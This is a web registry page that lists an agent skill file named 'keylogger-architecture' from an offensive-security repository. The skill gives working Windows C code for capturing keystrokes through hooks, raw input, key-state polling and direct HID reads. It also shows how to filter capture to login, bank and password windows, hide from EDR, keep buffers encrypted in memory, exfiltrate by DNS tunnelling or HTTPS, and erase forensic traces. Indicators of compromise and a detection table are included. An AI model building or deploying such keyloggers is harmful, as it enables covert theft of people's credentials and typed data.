keylogger-arch
Skill401 starsChanged 54 days agoMITView on GitHub
1 other project uses a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- jessefmoore/offensive-claude-codeedited, first seen May 23, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 1
- jessefmoore/offensive-claude-code★ 298% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository38 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- active-directory-attackSkill
- advanced-redteamSkill
- ai-agent-redteamSkill
- ai-securitySkill
- browser-exploitationSkill
- cicd-supply-chainSkill
- cloud-securitySkill
- coding-masterySkill
- container-k8s-escapeSkill
- crypto-analysisSkill
- edr-evasionSkill
- engagement-flowSkill
- engagement-memorySkill
- exploit-developmentSkill
- finding-disciplineSkill
- incident-responseSkill
- initial-accessSkill
- malware-analysisSkill
- mobile-pentestSkill
- network-attackSkill
- opsec-disciplineSkill
- privesc-linuxSkill
- privesc-windowsSkill
- recon-osintSkill
- red-team-opsSkill
- reverse-engineeringSkill
- scope-disciplineSkill
- shellcode-devSkill
- threat-huntingSkill
- threat-model-disciplineSkill
- using-offensive-claudeSkill
- vulnerability-analysisSkill
- web-pentestSkill
- windows-boundariesSkill
- windows-mitigations-bypassSkill
- wireless-rfSkill
- writing-offensive-skillsSkill
The file
We split this skill into the rules it gives an agent
7 rules. About 0 are common, 5 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈5
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 56
Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process
- Distinctive: line 62
If regular hook: mapped DLL in every hooked process (VAD artifact)
- Very specific: line 91
Does NOT appear in !hook list
- Distinctive: line 92
No cross-process DLL mapping
- Distinctive: line 177
Never write keystrokes to disk
- Distinctive: line 179
Use sleep masking to encrypt buffer during idle
- Distinctive: line 190
No persistent artifacts on disk
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: [install, actions] step: [5, 7] attck_tactics: [TA0003, TA0009] depends_on: [privesc-windows, edr-evasion] feeds_into: [red-team-ops] inputs: [target_os, edr_product] outputs: [keylogger_binary, captured_input]
Keylogger Architecture
When to Activate
- Understanding input capture mechanisms for red team implants - Analyzing malware keylogging capabilities - EDR evasion research for input monitoring - Designing stealthy credential capture
Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)
How It Works
// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
LogKey(kb->vkCode);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// MUST pump messages — hook won't fire without message loop
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}Internal Mechanism
1. SetWindowsHookEx → NtUserSetWindowsHookEx in win32k.sys
2. Kernel creates HOOK structure, inserts at head of global hook chain
3. Low-level hooks (WH_KEYBOARD_LL): NO DLL injection — events delivered via internal message to installing process
4. Regular hooks (WH_KEYBOARD): DLL injected into every target process via APC
IOCs
- Hook entry visible in !hook WinDbg command
- Installing thread must pump messages (detectable by message queue footprint)
- If regular hook: mapped DLL in every hooked process (VAD artifact)
- EDR can hook user32!SetWindowsHookEx to detect installation
Method 2: RegisterRawInputDevices
How It Works
// Register for raw keyboard input — no hook chain, no DLL injection
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01; // Generic Desktop
rid.usUsage = 0x06; // Keyboard
rid.dwFlags = RIDEV_INPUTSINK; // Receive input even when not foreground
rid.hwndTarget = hWnd; // Message-only window
RegisterRawInputDevices(&rid, 1, sizeof(rid));
// In window procedure:
case WM_INPUT: {
RAWINPUT raw;
UINT size = sizeof(raw);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER));
if (raw.header.dwType == RIM_TYPEKEYBOARD) {
LogKey(raw.data.keyboard.VKey);
}
}Advantages Over Hooks
- Does NOT appear in !hook list
- No cross-process DLL mapping
- Invisible to most EDR "hook chain" sensors
- No CallNextHookEx chain dependency
IOCs
- ETW event from kernel (win32kfull.sys): EtwTraceAuditApiRegisterRawInputDevices
- Contains PID, TID, UsagePage, Usage, Flags
- Channel is ON by default, CANNOT be disabled without kernel patch
- This is the strongest IOC — do not discount it
- Process must have window station and desktop
- Process must pump messages continuously
Method 3: GetAsyncKeyState Polling
// Simple but CPU-intensive — polls every key state
while (true) {
for (int key = 0; key < 256; key++) {
if (GetAsyncKeyState(key) & 0x0001) { // Key was pressed since last check
LogKey(key);
}
}
Sleep(10); // Reduce CPU usage
}IOCs
- High CPU usage from polling loop - Detectable by API call frequency monitoring - No kernel-level artifacts - Least stealthy but simplest to implement
Method 4: DirectInput / Raw HID Device
// Open keyboard device directly (requires admin)
HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
// Read HID reports directly — bypasses win32k entirely
ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped);
// Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)IOCs
- Requires admin/SYSTEM privileges - Creates IRP_MJ_READ telemetry on keyboard device - Bypasses all userland monitoring - Detectable by kernel-mode ETW or minifilter
Method 5: ETW-Based Capture (Defensive Turned Offensive)
// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers
// Capture raw USB HID events including keystrokes
// Requires admin but leaves minimal footprint
// Provider: Microsoft-Windows-USB-USBHUB3
// Events contain raw USB transfer data including HID reportsWindow Title Capture (Context Filtering)
GetWindowTextA / GetForegroundWindow
// Capture which application receives keystrokes
HWND fg = GetForegroundWindow();
char title[256];
GetWindowTextA(fg, title, sizeof(title));
// Filter: only log when title contains "login", "bank", "password"Stealthier: NtUserInternalGetWindowText
// Lower-level, less hooked by EDRs
// Defined in win32u.dll, syscall into win32kfull.sys
typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT);
pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText");
WCHAR title[256];
fn(hWnd, title, 256);Stealth Techniques
Memory-Only Operation
- Never write keystrokes to disk - Buffer in encrypted memory, exfiltrate periodically - Use sleep masking to encrypt buffer during idle
Exfiltration Methods
- DNS tunneling (encode keystrokes in subdomain queries) - HTTPS POST to legitimate-looking endpoint - Append to legitimate application traffic (piggyback) - Store in registry/ADS, retrieve separately
Anti-Forensics
- Encrypt keystroke buffer with session key - Overwrite buffer after exfiltration - No persistent artifacts on disk - Blend process name with legitimate software
Detection Comparison
| Method | Stealth | Privileges | Primary IOC |
| SetWindowsHookEx (LL) | Low | User | Hook chain, message pump |
| SetWindowsHookEx (regular) | Very Low | User | DLL in every process |
| RegisterRawInputDevices | Medium | User | ETW kernel event |
| GetAsyncKeyState | Low | User | CPU usage, API frequency |
| Direct HID device | High | Admin | IRP telemetry |
| ETW-based | High | Admin | Provider subscription |
| Kernel driver | Very High | Admin/SYSTEM | Driver load event |
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

